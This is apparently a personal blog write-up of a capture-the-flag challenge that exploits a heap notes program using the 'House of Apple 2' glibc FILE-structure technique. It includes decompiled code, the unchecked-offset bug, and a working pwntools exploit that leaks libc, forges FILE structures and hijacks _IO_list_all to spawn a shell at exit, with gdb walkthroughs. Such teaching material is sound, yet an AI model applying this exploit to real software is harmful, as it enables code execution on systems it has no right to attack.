muffin's profile

An Apple a Day Keeps ASLR Away

← back to blog

[Abusing glibc Wide-Mode I/O and FILE Structure Corruption for Reliable Code Execution]


We are provided with the following checksec output for the binary notes_patched:

muffin@gentoo checksec -f notes_patched
ELF64: | Canary: true  CFI: false SafeStack: false Fortify: false Fortified:  0 NX: true  PIE: Full Relro: Full    RPATH: None RUNPATH: . | File: notes_patched

Enabled Protections

  • Stack Canary: Enabled Stack canaries are present, making straightforward stack-based buffer overflows harder to exploit without a leak.

  • NX (Non-Executable Memory): Enabled The stack and heap are non-executable, preventing direct shellcode execution in writable memory regions.

  • PIE (Position Independent Executable): Enabled (Full) The binary is fully position-independent, meaning ASLR randomizes its base address at runtime.

  • RELRO: Enabled (Full) The Global Offset Table (GOT) is marked read-only after relocation, preventing GOT overwrite attacks.

Disabled Protections

  • CFI (Control Flow Integrity): Disabled No enforcement of valid control-flow transfers, allowing indirect jumps or returns to be abused if control is gained.

  • SafeStack: Disabled No separation between safe and unsafe stack objects, increasing the impact of memory corruption bugs.

  • FORTIFY_SOURCE: Disabled No fortified libc wrappers are in use (and no functions are fortified), reducing runtime bounds checking.

RUNPATH: . - The binary looks for shared libraries in the current directory first (potential security risk)

file Binary File Info strings so this is a notes app ,

Strings Output

The decompilation for the binary was more helpful as i got the whole understanding of the program ;

//
// This file was generated by the Retargetable Decompiler
// Website: https://retdec.com
//

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// ------------------------ Structures ------------------------

struct _IO_FILE {
    int32_t e0;
};

// ------------------- Function Prototypes --------------------

int64_t _fini(void);
int64_t _init(void);
int64_t _start(int64_t a1, int64_t a2, int64_t a3, int64_t a4, int64_t a5, int64_t a6);
int64_t create_note(void);
int64_t delete_note(void);
void function_1030(int64_t * ptr);
int32_t function_1040(char * s);
void function_1050(void);
int32_t function_1060(char * format, ...);
int32_t function_1070(char * s, char * reject);
char * function_1080(char * s, int32_t n, struct _IO_FILE * stream);
int32_t function_1090(void);
int64_t * function_10a0(int32_t size);
int32_t function_10b0(struct _IO_FILE * stream, char * buf, int32_t modes, int32_t n);
int32_t function_10c0(char * format, ...);
int32_t function_10d0(int64_t * ptr, int32_t size, int32_t n, struct _IO_FILE * s);
int64_t function_1110(void);
int64_t function_1140(void);
int64_t function_1180(void);
int64_t function_11d0(void);
int64_t menu(void);
int64_t read_note(void);
int64_t setup(void);
int64_t write_note(void);

// --------------------- Global Variables ---------------------

int64_t g1 = -0x9b2000009cc; // 0x2208
struct _IO_FILE * g2 = NULL; // 0x4020
struct _IO_FILE * g3 = NULL; // 0x4030
char g4 = 0; // 0x4048
char * g5; // 0x4080
int64_t g6 = 0; // 0x4088
int32_t g7 = 0; // 0x4120
int32_t g8 = 0; // 0x4121
int32_t g9;

// ------- Dynamically Linked Functions Without Header --------

void __cxa_finalize(int64_t * a1);
void __gmon_start__(void);
int32_t __libc_start_main(int64_t a1, int32_t a2, char ** a3, void (*a4)(), void (*a5)(), void (*a6)());
void __stack_chk_fail(void);

// ------------------------ Functions -------------------------

// Address range: 0x1000 - 0x101b
int64_t _init(void) {
    int64_t result = 0; // 0x1012
    if (*(int64_t *)0x3fe8 != 0) {
        // 0x1014
        __gmon_start__();
        result = &g9;
    }
    // 0x1016
    return result;
}

// Address range: 0x1030 - 0x1036
void function_1030(int64_t * ptr) {
    // 0x1030
    free(ptr);
}

// Address range: 0x1040 - 0x1046
int32_t function_1040(char * s) {
    // 0x1040
    return puts(s);
}

// Address range: 0x1050 - 0x1056
void function_1050(void) {
    // 0x1050
    __stack_chk_fail();
}

// Address range: 0x1060 - 0x1066
int32_t function_1060(char * format, ...) {
    // 0x1060
    return printf(format);
}

// Address range: 0x1070 - 0x1076
int32_t function_1070(char * s, char * reject) {
    // 0x1070
    return strcspn(s, reject);
}

// Address range: 0x1080 - 0x1086
char * function_1080(char * s, int32_t n, struct _IO_FILE * stream) {
    // 0x1080
    return fgets(s, n, stream);
}

// Address range: 0x1090 - 0x1096
int32_t function_1090(void) {
    // 0x1090
    return getchar();
}

// Address range: 0x10a0 - 0x10a6
int64_t * function_10a0(int32_t size) {
    // 0x10a0
    return malloc(size);
}

// Address range: 0x10b0 - 0x10b6
int32_t function_10b0(struct _IO_FILE * stream, char * buf, int32_t modes, int32_t n) {
    // 0x10b0
    return setvbuf(stream, buf, modes, n);
}

// Address range: 0x10c0 - 0x10c6
int32_t function_10c0(char * format, ...) {
    // 0x10c0
    return scanf(format);
}

// Address range: 0x10d0 - 0x10d6
int32_t function_10d0(int64_t * ptr, int32_t size, int32_t n, struct _IO_FILE * s) {
    // 0x10d0
    return fwrite(ptr, size, n, s);
}

// Address range: 0x10e0 - 0x1106
int64_t _start(int64_t a1, int64_t a2, int64_t a3, int64_t a4, int64_t a5, int64_t a6) {
    // 0x10e0
    int64_t v1; // 0x10e0
    __libc_start_main(0x17b4, (int32_t)a6, (char **)&v1, NULL, NULL, (void (*)())a3);
    __asm_hlt();
    // UNREACHABLE
}

// Address range: 0x1110 - 0x1139
int64_t function_1110(void) {
    // 0x1110
    return 0x4018;
}

// Address range: 0x1140 - 0x1179
int64_t function_1140(void) {
    // 0x1140
    return 0;
}

// Address range: 0x1180 - 0x11c1
int64_t function_1180(void) {
    // 0x1180
    if (g4 != 0) {
        // 0x11c0
        int64_t result; // 0x1180
        return result;
    }
    // 0x118d
    if (*(int64_t *)0x3ff8 != 0) {
        // 0x119b
        __cxa_finalize((int64_t *)*(int64_t *)0x4008);
    }
    int64_t result2 = function_1110(); // 0x11a8
    g4 = 1;
    return result2;
}

// Address range: 0x11d0 - 0x11d9
int64_t function_11d0(void) {
    // 0x11d0
    return function_1140();
}

// Address range: 0x11d9 - 0x121c
int64_t setup(void) {
    // 0x11d9
    setvbuf(g3, NULL, 2, 0);
    return setvbuf(g2, NULL, 2, 0);
}

// Address range: 0x121c - 0x1241
int64_t menu(void) {
    // 0x121c
    puts("\n[ MENU ]\n");
    return puts("[1] CREATE NOTE\n[2] DELETE NOTE\n[3] READ NOTE\n[4] WRITE NOTE\n[5] EXIT\n");
}

// Address range: 0x1241 - 0x1428
int64_t create_note(void) {
    int64_t v1 = __readfsqword(40); // 0x124a
    int32_t v2 = 0; // 0x128b
    int64_t v3 = 16 * (int64_t)v2;
    int32_t * v4 = (int32_t *)(v3 + (int64_t)&g6);
    int64_t v5; // 0x1241
    while (*v4 != 0) {
        // 0x128b
        v2++;
        if (v2 >= 10) {
            // 0x129b
            puts("\n!! NO SPACE FOR NEW NOTE !!");
            v5 = 0xffffffff;
            goto lab_0x140e;
        }
        v3 = 16 * (int64_t)v2;
        v4 = (int32_t *)(v3 + (int64_t)&g6);
    }
    // 0x12b4
    printf("ENTER SIZE: ");
    int64_t size; // bp-44, 0x1241
    scanf("%d", &size);
    int64_t * mem = malloc((int32_t)size); // 0x12eb
    int64_t * str = (int64_t *)(v3 + (int64_t)&g5); // 0x1306
    *str = (int64_t)mem;
    if (mem != NULL) {
        // 0x133f
        printf("\nENTER NOTE (MAX %d CHARS): ", size + 0xffffffff & 0xffffffff);
        getchar();
        fgets((char *)*str, (int32_t)size, g3);
        int64_t str2 = *str; // 0x139e
        *(char *)(str2 + (int64_t)strcspn((char *)str2, "\n")) = 0;
        printf("%s", "< BACK");
        *v4 = 1;
        v5 = 0;
    } else {
        // 0x1326
        puts("\n!! MEMORY ALLOCATION FAILED !!");
        v5 = 0xffffffff;
    }
    goto lab_0x140e;
  lab_0x140e:;
    int64_t result = v5; // 0x141b
    if (v1 != __readfsqword(40)) {
        // 0x141d
        __stack_chk_fail();
        result = &g9;
    }
    // 0x1422
    return result;
}

// Address range: 0x1428 - 0x1546
int64_t delete_note(void) {
    int64_t v1 = __readfsqword(40); // 0x1430
    int32_t v2 = 0; // bp-20, 0x143f
    printf("\nENTER INDEX: ");
    scanf("%1d", &v2);
    getchar();
    int64_t v3; // 0x1428
    if (v2 > 9) {
        // 0x14a3
        puts("\n!! INVALID NOTE INDEX !!");
        v3 = 0xffffffff;
        goto lab_0x1530;
    } else {
        int64_t v4 = 16 * (int64_t)v2; // 0x148e
        if (*(int32_t *)(v4 + (int64_t)&g6) != 0) {
            // 0x14b9
            free((int64_t *)*(int64_t *)(v4 + (int64_t)&g5));
            int64_t v5 = 16 * (int64_t)v2; // 0x14dd
            *(int64_t *)(v5 + (int64_t)&g5) = 0;
            *(int32_t *)(v5 + (int64_t)&g6) = 0;
            printf("%s", "< BACK");
            v3 = 0;
            goto lab_0x1530;
        } else {
            // 0x14a3
            puts("\n!! INVALID NOTE INDEX !!");
            v3 = 0xffffffff;
            goto lab_0x1530;
        }
    }
  lab_0x1530:;
    int64_t result = v3; // 0x153d
    if (v1 != __readfsqword(40)) {
        // 0x153f
        __stack_chk_fail();
        result = &g9;
    }
    // 0x1544
    return result;
}

// Address range: 0x1546 - 0x168e
int64_t write_note(void) {
    int64_t v1 = __readfsqword(40); // 0x154e
    int32_t v2 = 0; // bp-28, 0x155d
    int64_t v3 = 0; // bp-24, 0x1564
    printf("\nENTER NOTE INDEX: ");
    scanf("%3d", &v2);
    int64_t v4; // 0x1546
    if (v2 > 9) {
        // 0x15c4
        puts("\n!! INVALID NOTE INDEX !!");
        v4 = 0xffffffff;
        goto lab_0x1678;
    } else {
        int32_t v5 = *(int32_t *)(16 * (int64_t)v2 + (int64_t)&g6); // 0x15bd
        if (v5 != 0) {
            // 0x15dd
            printf("ENTER WRITE INDEX: ");
            scanf("%ld", &v3);
            printf("ENTER DATA: ");
            int64_t v6 = *(int64_t *)(16 * (int64_t)v2 + (int64_t)&g5); // 0x1633
            scanf("%s", (char **)(v3 + v6));
            printf("%s", "< BACK");
            v4 = 0;
            goto lab_0x1678;
        } else {
            // 0x15c4
            puts("\n!! INVALID NOTE INDEX !!");
            v4 = 0xffffffff;
            goto lab_0x1678;
        }
    }
  lab_0x1678:;
    int64_t result = v4; // 0x1685
    if (v1 != __readfsqword(40)) {
        // 0x1687
        __stack_chk_fail();
        result = &g9;
    }
    // 0x168c
    return result;
}

// Address range: 0x168e - 0x17b4
int64_t read_note(void) {
    int64_t v1 = __readfsqword(40); // 0x1696
    int32_t v2 = 0; // bp-20, 0x16a5
    int64_t v3; // 0x168e
    if (g7 > 1) {
        // 0x176c
        puts("\n?? GET SPOTIFY PREMIUM ??");
        printf("%s", "< BACK");
        v3 = 0;
    } else {
        // 0x16bb
        printf("\nENTER INDEX: ");
        scanf("%3d", &v2);
        getchar();
        if (v2 < 11) {
            // 0x1710
            printf("NOTE: %s\n", (char *)(16 * (int64_t)v2 + (int64_t)&g5));
            printf("%s", "< BACK");
            g7 = &g8;
            v3 = 0;
        } else {
            // 0x16f7
            puts("\n!! INVALID NOTE INDEX !!");
            v3 = 0xffffffff;
        }
    }
    int64_t result = v3; // 0x17ab
    if (v1 != __readfsqword(40)) {
        // 0x17ad
        __stack_chk_fail();
        result = &g9;
    }
    // 0x17b2
    return result;
}

// Address range: 0x17b4 - 0x198b
int main(int argc, char ** argv) {
    // 0x17b4
    __readfsqword(40);
    setup();
    menu();
    printf(">> ");
    int64_t v1; // bp-20, 0x17b4
    scanf("%1d", &v1);
    uint32_t v2; // 0x182b
    if ((int32_t)v1 < 6) {
        // 0x181a
        v2 = *(int32_t *)((4 * v1 & 0x3fffffffc) + (int64_t)&g1);
        return (int64_t)v2 + (int64_t)&g1;
    }
    puts("[ INVALID CHOICE ]");
    menu();
    printf(">> ");
    scanf("%1d", &v1);
    while ((int32_t)v1 >= 6) {
        // 0x1958
        puts("[ INVALID CHOICE ]");
        menu();
        printf(">> ");
        scanf("%1d", &v1);
    }
    // 0x181a
    v2 = *(int32_t *)((4 * v1 & 0x3fffffffc) + (int64_t)&g1);
    return (int64_t)v2 + (int64_t)&g1;
}

// Address range: 0x198c - 0x1999
int64_t _fini(void) {
    // 0x198c
    int64_t result; // 0x198c
    return result;
}

// --------------------- Meta-Information ---------------------

// Detected compiler/packer: gcc (14.2.1)
// Detected functions: 25

While researching heap exploitation techniques and going through various “House of ____” exploits, I found that House of Apple 2 matched perfectly with what this challenge required.

The House of Apple technique is primarily concerned with _IO_FILE->_wide_data member attacks. It allows us to rewrite memory after hijacking this member or control the program execution flow through FILE structure corruption.

What is a Vtable?

A basic vtable is nothing more than an ordinary struct containing function pointers, which can be shared between object instances.

Ill try to write a demo program to understand hoa-2 better and what does it solve and what it does .

Decompiled Code

glibc Internals

Next we will need a heap controlled area for exploiting. Before that, some glibc internals.

glibc uses a big internal structure called struct _IO_FILE. This is what backs FILE * objects like stdout, stderr, file streams, etc.

For wide-character support (wprintf, fputwc, Unicode stuff), glibc adds extra indirection. _wide_data stores wide-character state and buffers. _wide_vtable is the function pointer table for wide I/O operations. These are separate pointers inside the FILE structure.

What is _wide_data?

_wide_data is a pointer inside _IO_FILE:

struct _IO_FILE {
    ...
    struct _IO_wide_data *_wide_data;
    ...
};

What it contains conceptually: _IO_wide_data holds wide-character buffers, state for multibyte to wide-char conversion, and pointers used during wide I/O operations.

Simplified idea:

struct _IO_wide_data {
    wchar_t *_IO_read_ptr;
    wchar_t *_IO_read_end;
    wchar_t *_IO_write_ptr;
    wchar_t *_IO_write_end;
    ...
};

The thing is, if you control _wide_data, glibc will trust pointers inside it. Those pointers get dereferenced during I/O operations. Fake _wide_data lets you redirect reads/writes or prepare for a vtable call.

glibc vtable exploitation

When glibc performs an I/O operation, it does something like:

fp->_wide_data->_wide_vtable->overflow(fp, ch);

If _wide_vtable is fake and heap-controlled, glibc jumps to an attacker-controlled address. This is a clean RIP control primitive.

Internally, libc has three global FILE objects: stdin, stdout, stderr. Each of these is a fully-initialized _IO_FILE structure with valid locks, valid mode flags, valid wide I/O state, and most importantly our trusted vtables.

Wide Data Structure

What _mode does

Inside _IO_FILE:

int _mode;

glibc uses _mode to decide byte I/O vs wide-char I/O.

Rule (from glibc):

if (fp->_mode > 0)
    use wide I/O
else
    use byte I/O

So when you do:

stderr_fp->_mode = 1;

That guarantees _wide_data will be accessed, _wide_vtable will be dereferenced, and normal byte vtable is bypassed.

Mode Field

After compiling with these flags i got an error ; we needed to do bc the FILE vtable itself is wrong, so glibc never reaches _IO_WOVERFLOW

Apple 2 still needs a legitimate FILE vtable to route execution into the wide path

While looking through more on house of apple i found this image , which was on the idea of exploit this chalelnge closely resembleded

House of Apple 2 Diagram

In older glibc versions (< 2.24), you could directly overwrite FILE structure vtables. But glibc added vtable validation that checks if vtable pointers are within valid memory ranges.

House of Apple 2 bypasses these protections by relying on a design gap in glibc’s FILE validation logic. Instead of forging a fake vtable, it reuses a legitimate and fully validated vtable (_IO_wfile_jumps), which passes all internal consistency checks. The exploit then redirects the wide-character vtable pointer, which glibc does not subject to the same validation as the primary vtable. When a wide-character I/O path is triggered, glibc dispatches function calls through this unvalidated wide vtable, allowing the attacker to gain control of execution without tripping the standard vtable integrity checks.

When a program calls something like fwrite(), glibc eventually looks up a function pointer from the FILE structure’s vtable and calls it. This means the program trusts whatever function address is stored in that table. If an attacker can control that pointer, they get to choose what code runs. That’s the core idea about apple

glibc also keeps a global linked list of every open FILE stream called _IO_list_all. When the program exits, glibc walks this list to flush and close all files. It starts at _IO_list_all, follows each _chain pointer, and calls flush-related functions on every FILE object it finds. The attack abuses this cleanup step by corrupting the list so that it points to a fake or attacker-controlled FILE structure. When glibc later flushes all streams, it unknowingly calls functions through the attacker-controlled vtable, giving code execution.

This is a simple notes application with the following functions:

1. Create note - Allocates heap memory for a note
2. Delete note - Frees a note
3. Read note   - Displays note content
4. Write note  - Writes data to a note at an offset
5. Exit        - Exits the program

The vulnerability is in the write_note function:

void write_note(int idx, size_t offset, char *data) {
    // BUG: offset is NOT validated!
    scanf("%s", notes[idx] + offset);
}

What this means:

  • notes[idx] is a pointer to our note on the heap
  • We can specify ANY offset (positive or negative!)
  • notes[idx] + offset lets us write ANYWHERE relative to our note

Example:

// If notes[0] is at address 0x555555559000
// and we use offset = -0x1000
// We write to: 0x555555559000 - 0x1000 = 0x555555558000

// Or if offset = 0x10000, we write to:
// 0x555555559000 + 0x10000 = 0x555555569000

This is an arbitrary relative write - we can write anywhere in memory relative to our heap

So First, we need to leak a libc address. ASLR randomizes where libc lives in memory, so until we know its base address, we can’t reliably call functions like system. Once we leak one libc pointer, we can calculate where everything else in libc is.

Next, we leak a heap address. This tells us where our controlled data lives in memory. We need this because we’re going to place a fake object on the heap and later make the program treat it as something real.

Then we build a fake FILE structure on the heap. A FILE structure is just a big struct full of pointers and flags. glibc trusts it. If we carefully fill it with the right values, glibc won’t realize it’s fake.

After that, we patch critical FILE pointers like _lock, _wide_data, and the wide vtable pointer. These fields are needed so glibc doesn’t crash and so execution eventually flows into a function pointer we control.

Next, we overwrite _IO_list_all so that instead of pointing to real FILE streams, it points to our fake FILE structure on the heap. Now glibc thinks our fake object is a real file that needs to be flushed.

Finally, we trigger exit(). When the program exits, glibc automatically walks _IO_list_all and flushes every FILE it sees. When it reaches our fake FILE, it follows our controlled pointers and ends up calling system("/bin/sh").

When we call exit ; this is somewhat of a representation of whats happening

Exit Flow

glibc tries to defend against FILE-structure attacks by validating the main vtable pointer before using it. That means if you point the main vtable to something fake or attacker-made, glibc will usually detect it and abort. House of Apple 2 avoids this by not forging a vtable at all. Instead, it uses a real, legitimate vtable that already exists inside libc, such as _IO_wfile_jumps, which passes all validation checks cleanly.

The trick is that FILE structures used for wide-character I/O contain a second vtable, called the _wide_vtable. Unlike the main vtable, this wide vtable is not validated by glibc. Once execution enters a wide-character code path, glibc blindly trusts the function pointers inside _wide_vtable. By overwriting this pointer, the attacker gains control over which function gets called next.

First leak a libc address because modern systems use ASLR, which means libc is loaded at a random address every time the program runs. If we do not know where libc is in memory, we cannot reliably call important functions like system. To defeat ASLR, we need to leak one real libc address and use it to calculate the rest.

The program lets us read memory using a negative index, which means we can read data before the notes array. In memory, the Global Offset Table (GOT) is located nearby, and it stores the real runtime addresses of libc functions such as free. When we call read_note(-16), we accidentally read the GOT entry for free, leaking its address.

Once we have the leaked address of free, we subtract its known offset inside libc. This gives us the base address of libc in memory. From that single value, we can calculate the addresses of all other libc functions, including system, which we will need later in the exploit

Memory Leak

We need to create a fake _IO_FILE_plus structure on the heap with three parts:

Part A: Fake _IO_FILE structure

fake_file = flat({
    0x00: b"  sh\x00\x00\x00\x00",    # _flags
    0x88: 0,                         # _lock
    0xa0: 0,                         # _wide_data
    0xc0: 1,                         # _mode
    0xd8: libc.sym['_IO_wfile_jumps']
}, length=224)

This creates a fake FILE object exactly the size glibc expects.

  • _flags = " sh" This field normally stores flags, but later glibc passes it as an argument to a function pointer. Since we hijack that function to be system, this becomes:

    system("  sh")

    which spawns a shell. The spaces help avoid validation checks.

  • _lock glibc expects this to point to writable memory. If it’s invalid, the program crashes. We set it to zero for now and patch it later to point into the heap.

  • _wide_data This tells glibc where the wide-character data lives. We will make this point to another fake structure we control.

  • _mode = 1 This forces glibc to use wide-character functions, which is crucial because those functions use the unvalidated wide vtable.

  • vtable = _IO_wfile_jumps This is a real vtable inside libc. Using a legitimate vtable avoids glibc’s vtable integrity checks.

At this point, glibc thinks this is a completely valid FILE object.


Part B: Fake _IO_wide_data

wide_data = flat({
    0x18: 0,   # _IO_write_base
    0x20: 1,   # _IO_write_ptr
    0xe0: 0    # _wide_vtable
}, length=0x100)

This structure controls when glibc decides to flush a file.

  • _IO_write_ptr > _IO_write_base Since 1 > 0, glibc believes there is pending data that needs to be flushed.

  • When glibc flushes, it calls a function from the wide vtable, which we control next.

  • _wide_vtable This will be patched to point to our fake wide vtable.

This is how we force glibc to actually make the function call.


Part C: Fake wide vtable

wide_vtable = flat({
    0x68: libc.sym['system']
}, length=0x80)
  • The doallocate function pointer is overwritten with system.

  • glibc does not validate this wide vtable.

  • When glibc calls doallocate, it actually calls:

    system(fake_file->_flags)

And since _flags = " sh", we get a shell.


How everything is laid out in memory

Offset 0x000: fake _IO_FILE      (224 bytes)
Offset 0x100: fake _IO_wide_data (256 bytes)
Offset 0x200: fake wide_vtable   (128 bytes)

And then we write it into the heap:

payload = fake_file.ljust(0x100, b'\x00')
payload += wide_data.ljust(0x200 - 0x100, b'\x00')
payload += wide_vtable

create(20000, payload)

This puts all fake structures next to each other, so pointers inside them can reference each other safely.

Leaking the heap address

heap_addr = u64(read_note(0).ljust(8, b'\x00'))

At this point, we already created a note that lives on the heap. When we read that note back, the program does not just give us our clean payload. It also leaks heap metadata that glibc stores next to heap chunks. This metadata contains pointers that point back into the heap itself.

By reading the first few bytes of the note and converting them into a 64-bit value, we recover a real heap address.

Patching the fake FILE pointers

Now that we know the heap base address, we can fix up the fake FILE structure so all its internal pointers point to valid memory.

write_note(0, 0x88, p64(heap_addr + 0x10))   # _lock

The _lock field must point to writable memory or glibc will crash when it tries to lock the FILE. We point it slightly inside the heap, which is always writable.

write_note(0, 0xa0, p64(heap_addr + 0x100))  # _wide_data

This tells glibc where the wide-character data lives. We already placed our fake _IO_wide_data structure at offset 0x100 inside the payload, so we point _wide_data there.

write_note(0, 0x1e0, p64(heap_addr + 0x200)) # _wide_vtable

Finally, we patch the _wide_vtable pointer to point to our fake wide vtable, which we placed at offset 0x200. This is the most important pointer, because glibc does not validate it. When glibc later calls a wide-character function, it will jump to whatever function pointer we placed there.

Fake FILE Structure

Hijacking _IO_list_all

This is the most important step of the whole exploit. Until now, we’ve only prepared our fake FILE structure. Now we force glibc to actually use it.

glibc keeps a global pointer called _IO_list_all. This pointer is the head of a linked list of all FILE structures that exist in the program. When the program exits, glibc walks this list and flushes every file it finds.

Normally, _IO_list_all points to real FILE objects inside libc.

io_list_all = libc.sym['_IO_list_all']
offset = io_list_all - heap_addr
write_note(0, offset, p64(heap_addr))
io_list_all = libc.sym['_IO_list_all']

Now that we know the libc base address, we can compute the exact address of _IO_list_all in memory.

offset = io_list_all - heap_addr

Our arbitrary write primitive is relative to the start of our heap note. So we calculate how far _IO_list_all is from our heap buffer.

This converts an absolute address into a relative offset we can write to.

write_note(0, offset, p64(heap_addr))

This is the takeover.

We overwrite the value of _IO_list_all so that instead of pointing to real FILE objects, it now points directly to our fake FILE structure on the heap.

glibc does not check whether _IO_list_all points to a real FILE. It blindly trusts the pointer.

So after this write:

  • glibc believes our fake FILE is a real one
  • it adds it to the cleanup process
  • when exit() is called, glibc will process our FILE

Before

_IO_list_all → real FILE → real FILE → ...

After

_IO_list_all → fake FILE (heap) → fake wide_data → fake vtable → system()

final exploit

from pwn import *

elf = ELF('./notes_patched')
libc = ELF('./libc.so.6')
p = process('./notes_patched')

What this does:

  • ELF() loads binary information (addresses, symbols, etc.)
  • process() starts the target program
  • pwn library handles communication and address packing

Helper Functions

def create(size, content):
    p.sendlineafter(b'>> ', b'1')           # Select create option
    p.sendlineafter(b'SIZE: ', str(size).encode())
    p.sendlineafter(b'CHARS): ', content)   # Send note content

This function automates creating a note by:

  1. Waiting for the menu prompt >>
  2. Sending option 1 (create)
  3. Sending the size
  4. Sending the content
def read_note(idx):
    p.sendlineafter(b'>> ', b'3')
    p.sendlineafter(b'INDEX: ', str(idx).encode())
    p.recvuntil(b'NOTE: ')
    data = p.recvuntil(b'< BACK', drop=True)
    return data

Reads a note and returns its content. drop=True removes the < BACK delimiter.

def write_note(idx, offset, content):
    p.sendlineafter(b'>> ', b'4')
    p.sendlineafter(b'INDEX: ', str(idx).encode())
    p.sendlineafter(b'INDEX: ', str(offset).encode())
    p.sendlineafter(b'DATA: ', content)

Writes to a note at a specific offset (the vulnerability!).

Exploitation

# Leak libc
libc_leak = u64(read_note(-16).ljust(8, b'\x00'))
libc.address = libc_leak - libc.sym['free']
  • u64() unpacks 8 bytes to a 64-bit integer
  • ljust(8, b'\x00') pads data to 8 bytes
  • Subtracting free offset gives us libc base
# Build fake FILE
fake_file = flat({
    0x00: b"  sh\x00\x00\x00\x00",
    0x88: 0,
    0xa0: 0,
    0xc0: 1,
    0xd8: libc.sym['_IO_wfile_jumps']
}, length=224, filler=b'\x00')

flat() creates binary data with values at specific offsets, padding with null bytes.

# Patch pointers
write_note(0, 0x88, p64(heap_addr + 0x10))
  • p64() packs a 64-bit integer to 8 bytes (little-endian)
  • Overwrites the _lock field at offset 0x88
# Hijack _IO_list_all
offset = io_list_all - heap_addr
write_note(0, offset, p64(heap_addr))

Uses the arbitrary relative write to overwrite _IO_list_all in libc!


Why This Works

The glibc Call Chain

When you exit, glibc does this:

// In elf/dl-fini.c
exit() {
    ...
    _IO_cleanup();
}

// In libio/genops.c
_IO_cleanup() {
    return _IO_flush_all_lockp(0);
}

// In libio/genops.c
_IO_flush_all_lockp() {
    struct _IO_FILE *fp;

    // Iterate the chain!
    for (fp = _IO_list_all; fp != NULL; fp = fp->_chain) {

        // Check if buffer needs flushing
        if (fp->_IO_write_ptr > fp->_IO_write_base) {

            // Call overflow from vtable
            if (fp->_mode <= 0) {
                // Normal mode
                _IO_overflow(fp, EOF);
            } else {
                // Wide mode (our case!)
                _IO_wfile_overflow(fp, WEOF);
            }
        }
    }

}
// In libio/wfileops.c
_IO_wfile_overflow() {
    ...
    // Check vtable (VALIDATED ✓)
    _IO_vtable_check(fp->vtable);  // Passes! We use _IO_wfile_jumps

    // Eventually calls:
    fp->_wide_data->_wide_vtable->doallocate(fp);
    // ↑ NOT VALIDATED ✗
}

The Bypass

glibc’s protection:

void _IO_vtable_check(struct _IO_jump_t *vtable) {
    // Check if vtable is in valid range
    if (vtable < &__start__IO_vtables ||
        vtable >= &__stop__IO_vtables) {
        abort();  // Kill the program!
    }
}
  1. We use _IO_wfile_jumps (a real vtable)
  2. But _wide_vtable is NOT checked
  3. When doallocate is called from _wide_vtable, it executes our function

Exploit Diagram

More on house of apple how it works

static wint_t _IO_wstrn_overflow (FILE *fp, wint_t c)
{
    _IO_wstrnfile *snf = (_IO_wstrnfile *) fp;

    // Key Check: if this passes, we write to memory!
    if (fp->_wide_data->_IO_buf_base != snf->overflow_buf)
    {
        // VULNERABILITY: Writes heap address to controlled location!
        // overflow_buf is at fp + 0xf0

        fp->_wide_data->_IO_write_base = snf->overflow_buf;   // [_wide_data+0x18
]
        fp->_wide_data->_IO_read_base = snf->overflow_buf;    // [_wide_data+0x10
]
        fp->_wide_data->_IO_read_ptr = snf->overflow_buf;     // [_wide_data+0x00
]
        fp->_wide_data->_IO_read_end = snf->overflow_buf + N; // [_wide_data+0x08
]
    }

    // Additional writes
    fp->_wide_data->_IO_write_ptr = snf->overflow_buf;  // [_wide_data+0x20]
    fp->_wide_data->_IO_write_end = snf->overflow_buf;  // [_wide_data+0x28]

    return c;
}

IMPACT: By controlling fp->_wide_data, we control WHERE these heap addresses are written!

Demo Program Output

[*] allocate a 0x100 chunk
===========================old value=======================
[0x2a410310]: 0x1122334455667788  0x1122334455667788
[0x2a410320]: 0x1122334455667788  0x1122334455667788
[0x2a410330]: 0x1122334455667788  0x1122334455667788
[0x2a410340]: 0x1122334455667788  0x1122334455667788
===========================old value=======================

[*] puts address: 0x7fd0ca691cc0
[*] stderr->_IO_write_ptr address: 0x7fd0ca82b478
[*] stderr->_flags2 address: 0x7fd0ca82b4c4
[*] stderr->_wide_data address: 0x7fd0ca82b4f0
[*] stderr->vtable address: 0x7fd0ca82b528
[*] _IO_wstrn_jumps address: 0x7fd0ca826b90

[+] step 1: change stderr->_IO_write_ptr to -1
[+] step 2: change stderr->_flags2 to 8
[+] step 3: replace stderr->_wide_data with the allocated chunk
[+] step 4: replace stderr->vtable with _IO_wstrn_jumps
[+] step 5: call fcloseall and trigger house of apple

===========================new value=======================
[0x2a410310]: 0x00007fd0ca82b770  0x00007fd0ca82b870
[0x2a410320]: 0x00007fd0ca82b770  0x00007fd0ca82b770
[0x2a410330]: 0x00007fd0ca82b770  0x00007fd0ca82b770
[0x2a410340]: 0x00007fd0ca82b770  0x00007fd0ca82b870
===========================new value=======================
PhaseMemory AddressValueExplanation
BEFORE0x2a4103100x1122334455667788Controlled fill value we set initially
AFTER0x2a4103100x00007fd0ca82b770stderr->overflow_buf address leaked!

This demonstrates: We can write a known address (overflow_buf = heap/libc addr) to ANY memory location we control via _wide_data :)

Step 1: Set Breakpoint Before fcloseall()

gdb ./house_of_apple
break fcloseall
run

Step 2: Examine Hijacked stderr Structure

# Check stderr location
p stderr
# $1 = (struct _IO_FILE *) 0x7ffff7e2b4a0 <_IO_2_1_stderr_>

# Examine critical members
x/gx (stderr + 0x28)  # _IO_write_ptr (should be -1)
x/gx (stderr + 0x74)  # _flags2 (should be 8)
x/gx (stderr + 0xa0)  # _wide_data (should point to our chunk)
x/gx (stderr + 0xd8)  # vtable (should be _IO_wstrn_jumps)

Expected Output:

_IO_write_ptr:  0xffffffffffffffff  (-1)
_flags2:        0x0000000000000008  (wide mode enabled)
_wide_data:     0x0000000000405310  (our controlled chunk!)
vtable:         0x00007ffff7e26b90  (_IO_wstrn_jumps)

Step 3: Examine Target Chunk BEFORE Attack

# Our chunk that _wide_data points to
x/16gx 0x405310

Output:

0x405310: 0x1122334455667788  0x1122334455667788
0x405320: 0x1122334455667788  0x1122334455667788
0x405330: 0x1122334455667788  0x1122334455667788
0x405340: 0x1122334455667788  0x1122334455667788

Step 4: Continue and Break After _IO_wstrn_overflow

break _IO_wstrn_overflow
continue

# Inside _IO_wstrn_overflow, examine:
print/x $rdi              # fp (our fake _IO_FILE)
print/x $rdi + 0xf0       # overflow_buf address
x/gx $rdi + 0xa0          # fp->_wide_data (our target chunk)

Step 5: Examine Target Chunk AFTER Attack

finish  # Return from _IO_wstrn_overflow
x/16gx 0x405310  # Check our chunk again

Output:

0x405310: 0x00007ffff7e2b770  0x00007ffff7e2b870  ← CHANGED!
0x405320: 0x00007ffff7e2b770  0x00007ffff7e2b770  ← CHANGED!
